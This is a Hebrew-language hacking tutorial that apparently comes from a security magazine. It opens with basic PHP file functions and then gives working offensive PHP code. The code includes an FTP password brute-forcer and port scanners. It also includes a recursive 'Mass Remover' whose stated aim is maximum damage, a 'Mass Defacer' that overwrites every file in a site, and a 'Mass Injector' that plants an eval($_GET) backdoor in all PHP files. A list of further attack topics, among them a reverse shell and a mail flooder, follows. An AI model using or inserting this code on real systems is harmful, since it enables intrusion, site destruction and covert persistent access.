פירוט וי הסבר קצר ופשוט על כל פרמטר בניתן לצפות ברשימת הפרמטרים המלאה בלו. (a -הזה

 .fopen הפרמטרים של הפונקציה

 :unlinkהפונקציה  -מחיקת קובץ 

<?php 

unlink("filename.ext"); 

?> 

  Self Remover): נהוג ליצור פעולה כזו הנקראת)מחיקת הקובץ הנוכחי 

<?php 

unlink(__FILE__); 

?> 

  rename:הפונקציה -שינוי שם לקובץ 

<?php 

rename("filename.ext","newfilename.newext"); 

?> 

 :chmodהפונקציה  -קובץ שינוי הרשאות ל

<?php 

chmod("filename.ext",0777); 

?> 

http://il2.php.net/manual/en/function.move-uploaded-file.php
http://il2.php.net/manual/en/function.move-uploaded-file.php
https://sites.google.com/site/hyp3rinj3ct10n/tutorials/possible-and-common-vulnerabilities-when-uploading-files-via-php
https://sites.google.com/site/hyp3rinj3ct10n/tutorials/possible-and-common-vulnerabilities-when-uploading-files-via-php
https://sites.google.com/site/hyp3rinj3ct10n/tutorials/possible-and-common-vulnerabilities-when-uploading-files-via-php
https://sites.google.com/site/hyp3rinj3ct10n/tutorials/possible-and-common-vulnerabilities-when-uploading-files-via-php
http://il.php.net/manual/en/function.fopen.php#refsect1-function.fopen-parameters
http://il.php.net/manual/en/function.fopen.php#refsect1-function.fopen-parameters
http://il.php.net/manual/en/function.fopen.php#refsect1-function.fopen-parameters
http://il.php.net/manual/en/function.fopen.php#refsect1-function.fopen-parameters
http://php.net/unlink
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FTP BruteForce 

 :FTP פונקציות מספריית עם  FTP BruteForceדוגמה בסיסית למימוש

<?php 

$ftp_server = 'ftp.exmaple.co.il'; 

$ftp_connection = ftp_connect($ftp_server) or die("Unable to connect to 

the specified FTP server.");  

$list = file('passwords.txt'); 

 

foreach ( $list as $password ) 

    if ( @ftp_login($ftp_connection,'ftpuser',$password) ) 

    { 

        echo 'Password: '.$password; 

        break; 

    } 

 

ftp_close($ftp_connection); 

?> 

ומנסה להתחבר איתן ( כל סיסמה בשורה חדשהpasswords.txt )הקוד לוקח סיסמאות מקובץ הסיסמאות 

במידה ויש ברשותנו גם רשימת משתמשים אפשר  ftp.example.co.il. בשרת ftpuser לחשבון שנקרא

ניתן לבטל את , לחלופין. יעבוד עבור רשימת חשבונות ולא רק עבור חשבון אחדלשנות את הקוד כך ש

 .הצורך בקובץ סיסמאות ופשוט לנסות כל צירוף תווים עד שנגיע לסיסמה הנכונה

 :אפשר ללכת צעד אחד אחורה ולבצע חיבור בכוחות עצמנו ,FTPבמידה ויש בעיה כלשהי עם ספריית 

<?php 

$ftp_connection = fsockopen('ftp.example.co.il', 21) or die("Unable to 

connect to the specified FTP server."); 

 

if ( $sock ) 

{ 

    fputs($ftp_connection,"USER ftpuser\n"); 

    fputs($ftp_connection,"PASS ftppass\n"); 

 

    $returned = fgets($ftp_connection); 

 

    if(stristr($returned, "logged")) 

        echo "Password: ".$password; 

 

    fclose($ftp_connection); 

} 

?> 

 

http://il.php.net/manual/en/ref.ftp.php
http://il.php.net/manual/en/ref.ftp.php
http://il.php.net/manual/en/ref.ftp.php
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Port Scanner 

הוא כמו  (Port) ופורט, מחשב הוא כמו בית. כדי להכנס לבית אנחנו משתמשים בדלת או בחלונות

כך גם על כל , וחלונות כמו שיש סוגים שונים של דלתות. דרך להיכנס למחשב: או בפשטות, חלון/דלת

סריקת פורטים היא תהליך ... ועוד Apache ,MySQL ,DirectAdmin פורט מתקינים תוכנה מסוימת כמו

וכך לדעת גם מה מותקן בשרת ( איפה הדלתות והחלונות בבית)חשוב שעוזר לדעת אילו פורטים פתוחים 

 .ים לשםלפי מספר הפורט או לפי הפרטים ששולח( חלון יש/איזה סוג דלת)

 רשימת פורטים פופולריים

21 – FTP 

22 - SSH 

23 – TELNET 

80 - HTTP 

443 - HTTPS 

3306 - MySQL 

2222 - Direct Admin 

הרשימה מייצגת רק . List of TCP and UDP port numbers: ניתן למצוא פורטים נוספים בקישור הבא

חשוב לזכור  .פורטים המוגדרים כברירת מחדל או פורטים מוסכמים מראש שנהוג להשתמש בהם

 .יכול גם להיות פורט אחר 3306-שרשום פה כ MySQL כלומר, שפורטים יכולים להשתנות

 

 דההצגת כל הפורטים הפתוחים באמצעות פקו

 :החיים פשוטים מאוד, במידה ויש לנו אפשרות להריץ פקודה

 Unix:עבור מערכות הפעלה מבוססות 

netstat -an | grep -i listen 

 (:UDP-ל TCP עם הפרדה בין)Windows עבור 

netstat -anop TCP 

netstat -anop UDP 

 

 .סריקת פורטיםשמבצעים  PHP-הכנתי שני קודים פשוטים ב, כדי להקל על תהליך הסריקה

http://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
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 (by range): סריקת פורטים לפי טווח פורטים 
<?php 

// -----------------Configuration------------------- 
$host = 'localhost'; // Host (IP/Domain) 

$timeout = 3; // Timeout for connection (in seconds) 

$start = 1; $end = 65535; // Range 

// --------------End of Configuration--------------- 

 

for ( $i=$start; $i<$end; $i++ ) 

{ 

        $socket = @fsockopen($host,$i,$errno,$errstr,$timeout); 

 

        if ( $socket ) 

        { 

            echo $i.' '; 

            fclose($socket); 

        } 

} 

?> 

הוא הטווח של כל הפורטים  1-65535)סריקה מלאה לכל הפורטים בטווח שיצויין  קוד זה מבצע

 .הפורטים הפתוחים יוחזרו כפלט ויוצגו על המסך(. האפשריים

 

 (by list):סריקת פורטים מתוך רשימת פורטים 
<?php 

// -----------------Configuration------------------- 

$host = 'localhost'; // Host (IP/Domain) 

$timeout = 3; // Timeout for connection (in seconds) 

$list = "80 443"; // List of ports to scan (separated by spaces) 

// --------------End of Configuration--------------- 

 
$list = explode(" ",$list); 

foreach ( $list as $i ) 

{ 

        $socket = @fsockopen($host,$i,$errno,$errstr,$timeout); 

 

        if ( $socket ) 

        { 

            echo $i.' '; 

            fclose($socket); 

        } 

} 

?> 

שימו לב : הערה(. 443-ו 80אני כתבתי )קוד זה מבצע סריקה רק עבור הפורטים מתוך הרשימה שתצויין 

גם כאן הפורטים , בדומה לקוד הקודם .ולא באמצעות פסיקים, אמצעות רווח בלבדשהרשימה מופרדת ב

 .הפתוחים יוחזרו כפלט ויוצגו על המסך
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Mass Remover 

להלן פונקציית מחיקה רקורסיבית  .מחיקה מאסיבית היא אחת האפשרויות, כשמחפשים ליצור נזק מירבי

 :שהכנתי לצורך המחשה

<?php 

// Mass Remover example by Hyp3rInj3cT10n 

function RemoveDirectory($dir) 

{ 

    foreach ( glob($dir."/*") as $removeMe ) 

    { 

        if ( is_file($removeMe) ) 

            echo (@unlink($removeMe) ? 'Removed file' : 'No access to 

remove file').': '.$removeMe."<br />\n"; 

        elseif ( is_dir($removeMe) ) 

        { 

            if ( @rmdir($removeMe) ) 

               echo 'Removed Folder: '.$removeMe."<br />\n"; 

            else 

            { 

               echo 'No access to remove folder: '.$removeMe."<br />\n"; 

               RemoveDirectory($removeMe); 

            } 

        } 

    } 

} 

?> 

במידה ויש תיקיה שלא . ומנסה למחוק את כל הקבצים והתיקיות שנמצאו( תיקיה)הפונקציה מקבלת נתיב 

תופעל הפונקציה מחדש על התיקיה הבעייתית כדי לנסות ולמחוק כמה שיותר קבצים , ניתנת למחיקה

 .בתוכה
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Mass Defacer 

בדרך כלל כשהפורץ רוצה להתגאות במה שעשה הוא לא סתם מבצע מחיקה אלא שינוי של מה שאנשים 

ולזה מתכוונים אנשים כשהם , (השחתה של פני האתר: או בקיצור)רואים כשהם נכנסים לאתר 

 אך במקרים, היא לשנות לגמרי את פני האתר deface-בדרך כלל השאיפה ב .Defaceמשתמשים במונח 

, HTML)לקוח  מסויימים זה לא אפשרי ולכן צריך לאלתר מחיקה של מה שהיה על ידי שימוש נכון בקוד צד

JS להלן פונקציית. )'וכו PHP שיצרתי למימוש Mass Defacer בדומה לרקורסיה הקודמת שיצרתי: 

<?php // Mass Defacer example by Hyp3rInj3cT10n 

function DefaceDirectory($dir) 

{ 

    foreach ( glob($dir."/*") as $defaceMe ) 

    { 

        if ( is_file($defaceMe) ) 

        { 

            $handle = @fopen($defaceMe,'w'); 

 

            if ( $handle ) 

            { 

                $write = @fwrite($handle,"<script>alert('Mass Defacer 

example by Hyp3rInj3cT10n');</script>"); 

 

                if ( $write ) 

                    echo 'Defaced file: '.$defaceMe."<br />\n"; 

                else 

                    echo 'Truncated file: '.$defaceMe."<br />\n"; 

 

                fclose($handle); 

            } 

            else 

                echo 'Unable to open file: '.$defaceMe."<br />\n"; 

            } 

        elseif ( is_dir($defaceMe) ) 

            DefaceDirectory($defaceMe); 

    } 

} 

?> 

הפונקציה , במידה ויש תיקיות. ייןומשנה את כל הקבצים לטקסט שצו( תיקיה)הפונקציה מקבלת נתיב 

שימו לב שהפונקציה יכולה לפעמים להכשל בתהליך  .גם בהן ותשנה גם את הקבצים שלהןתעבור 

 .אז הוא מרוקן אוטומתית (fopen@שימו לב לפונקציה )w אך מכיוון שפתחנו את הקובץ עם , הכתיבה
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Mass Injector 

יש הבדל גדול במטרה של , אולם. יהיה כמעט זהה לחלוטין Mass Defacer-ו Mass Injector המימוש של

תוך כדי שמירה על , נועד להזריק קוד לקבצי המערכת מבלי שישימו לב  Mass Injector.כל אחד מהם

כדי להשאיר לתוקף דרך  Backdoor, מטרת הקוד המוזרק היא לשמש כמעין. התוכן האמיתי של הקובץ

 .לגרום נזק בעתיד

 :הכנתי לכם פונקציה לדוגמה כמובן שגם הפעם

<?php // Mass Injector example by Hyp3rInj3cT10n 

function InjectDirectory($dir) 

{ 

    foreach (glob($dir."/*") as $injectMe) 

    { 

        if (is_file($injectMe)) 

        { 

            if ( 

preg_match("/\.(php|php3|php4|php5|php6|phtml)$/i",$injectMe) ) 

           { 

               $handle = @fopen($injectMe,'r+'); 

 

               if ( $handle ) 

               { 

                   $newText = "<?php @eval(\$_GET['Hyp3rInj3cT10n']); 

?>\n".file_get_contents($injectMe); 

                   $write = @fwrite($handle,$newText); 

                   if ( $write ) 

                   { 

                       @ftruncate($handle,strlen($newText)); 

                       echo 'Injected file: '.$injectMe."<br />\n"; 

                   } 

 
                   fclose($handle); 

               } else echo 'Unable to open file: '.$injectMe."<br />\n"; 

            } 

        } 

        elseif ( is_dir($injectMe) ) InjectDirectory($injectMe); 

    } 

} 

?> 

במידה ויש . ת הטקסט שצוייןא PHP-ומוסיפה בתחילת כל קבצי ה( תיקיה)הפונקציה מקבלת נתיב 

אך ניתן לשנותה כך  ,PHPהדוגמה שהצגתי מתעסקת רק עם קבצי . הפונקציה תעבור גם בהן, תיקיות

 .זו רק היצירתיות שלכם, מכאן. שתפעל גם לקבצים אחרים בהתאם
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 רציתי להוסיף

 :מספר נושאים שרציתי להוסיף ולא יצא לי אך אני משוכנע שיש להתייחס אליהם

  PHPדרך  etc/passwdטריקים לשליפת .1

 load_file-בשימוש   :: SQLקריאת קבצים דרך .2

 load data local infile-בשימוש   :: SQLקריאת קבצים דרך .3

 PHP-בטוגרפיה ספריות קריפ-ו PHP -ההצפנת קוד  .4

 PHP-ב  dlעם הפונקציה  extensionsהפעלת .5

6. PHP Reverse Shell 

 PHP-בניהול תהליכים  .7

 עקיפת מנגוני אבטחה על ידי פירצות אבטחה בפונקציות ספציפיות .8

 Mail Flooder)-בליווי לולאה הופך ל) PHP-ב  mailהפונקציה .9

 

 על המחבר

מכהן כבעלים , כיום .הוא בחור צעיר ומוכשר עם זיקה חזקה לתחום המחשבים (Hyp3rInj3cT10n) ועיר

 :של

 אתר המרכז תכנים איכותיים בתחום אבטחת המידע בעברית - אבטחת מידע ומה שביניהם, האקינג. 

 security# - קהילתIRC  שחבריה ישראלים דוברי עברית, פעילה העוסקת בתחום אבטחת המידע. 

 

 ברכה לגיוס

, ובנוסף לכך. ל"רצינו לנצל במה זו בכדי לברך את רועי ולאחל לו ברכת גיוס מוצלחת בגיוסו הקרב לצה

 Digitalולמגזין , ל תרומתו האדירה לקהילת אבטחת המידע וההאקינג המקומית בכללרצינו להודות לו ע

Whisper כאלה המגיעים , כאלה המגיבים בפורומים -יש הרבה חברים אקטיבים בקהילה , רועי. בפרט

כאלה , במאמריםה שמשקיעים 'אבל אתה נמצא בקבוצה מצומצת מאוד של חבר', למפגשים וכו

לדעתי זהו אחד . ה בקהילה'וכותבים עליו מאמר בכדי לקדם את שאר החבר, נושא חוקרים, שמתיישבים

ואין הרבה . כמות ואיכות הידע היוצא ממנה: בין היתר היא נמדדת, ובו, הנכסים היקרים ביותר של קהילה

 ! בהצלחה בהמשך הדרך. לא בכמות ולא באיכות -שיכולים לזקוף לזכותם מאמרים כמוך

https://sites.google.com/site/hyp3rinj3ct10n/tutorials/reading-etc-passwd-via-php
http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_load-file
http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/
https://sites.google.com/site/hyp3rinj3ct10n/tutorials/encrypting-files-with-advanced-encryption-programs
https://sites.google.com/site/hyp3rinj3ct10n/tutorials/encrypting-files-with-advanced-encryption-programs
http://il.php.net/manual/en/refs.crypto.php
http://il.php.net/manual/en/refs.crypto.php
http://il.php.net/dl
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
http://il.php.net/manual/en/refs.fileprocess.process.php
http://www.google.co.il/search?rlz=1C1CHEU_iwIL432IL432&gcx=w&sourceid=chrome&ie=UTF-8&q=php+safe+mode+bypass
http://www.google.co.il/search?rlz=1C1CHEU_iwIL432IL432&gcx=w&sourceid=chrome&ie=UTF-8&q=php+safe+mode+bypass
http://il.php.net/manual/en/function.mail.php
https://sites.google.com/site/hyp3rinj3ct10n/
https://sites.google.com/site/hyp3rinj3ct10n/irc-info

